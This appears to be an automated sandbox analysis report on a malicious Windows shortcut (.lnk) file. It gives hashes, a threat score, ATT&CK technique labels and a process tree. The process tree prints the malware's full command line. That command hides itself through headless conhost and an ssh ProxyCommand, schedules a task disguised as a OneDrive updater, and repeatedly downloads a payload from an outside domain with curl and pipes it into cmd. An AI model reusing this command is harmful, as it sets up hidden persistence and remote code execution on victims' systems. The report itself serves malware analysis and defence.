87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0

Analysis

max time kernel
94s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
19/09/2024, 01:32

Target

87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0.lnk
Size

330KB
MD5

b221d53315f4c92b1c1f769a2d9c3045
SHA1

458f9f6a709e34dec6fa54ef824b9a98596f35e7
SHA256

87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0
SHA512

5e704b22e6d159936fd2d8f5dca0dc36a0fe92774903c24bdd19411ccb897dae2c171a1265f24c52ee757df8043144283605ec9730632a8f1fd26157251d0abf
SSDEEP

6144:B7/0aJK1pGhL2r0yDkb5rjVKU3KxfQJcEhc+g8pRIrxWqqfm8Di2SeVMSCzO+f1Z:B7/0v1kJ2Iywb53JxGE6+gKRI19pWih5

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 376 wrote to memory of 2744	376	cmd.exe	31
PID 376 wrote to memory of 2744	376	cmd.exe	31
PID 376 wrote to memory of 2744	376	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\87be48984d63b4b2b3f62156720f85d28654fb4608333b5d9711dc34a916fcf0.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:376
- C:\WINDOWS\system32\conhost.exe
  "C:\WINDOWS\system32\conhost.exe" --headless ssh -o ProxyCommand="cmd /c schtasks /create /tn OneDriveStandaloneUpdateEngine1.0.3 /f /sc minute /mo 17 /tr \"conhost --headless cmd /c curl --ssl-no-revoke -o C:\Users\Public\documents\tmp.jpg https://www.sporcketngearforu.com/mntnnc.php?hy=XECUDNCD_Admin & more C:\Users\Public\documents\tmp.jpg | cmd\" " .
  2⤵
  PID:2744

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact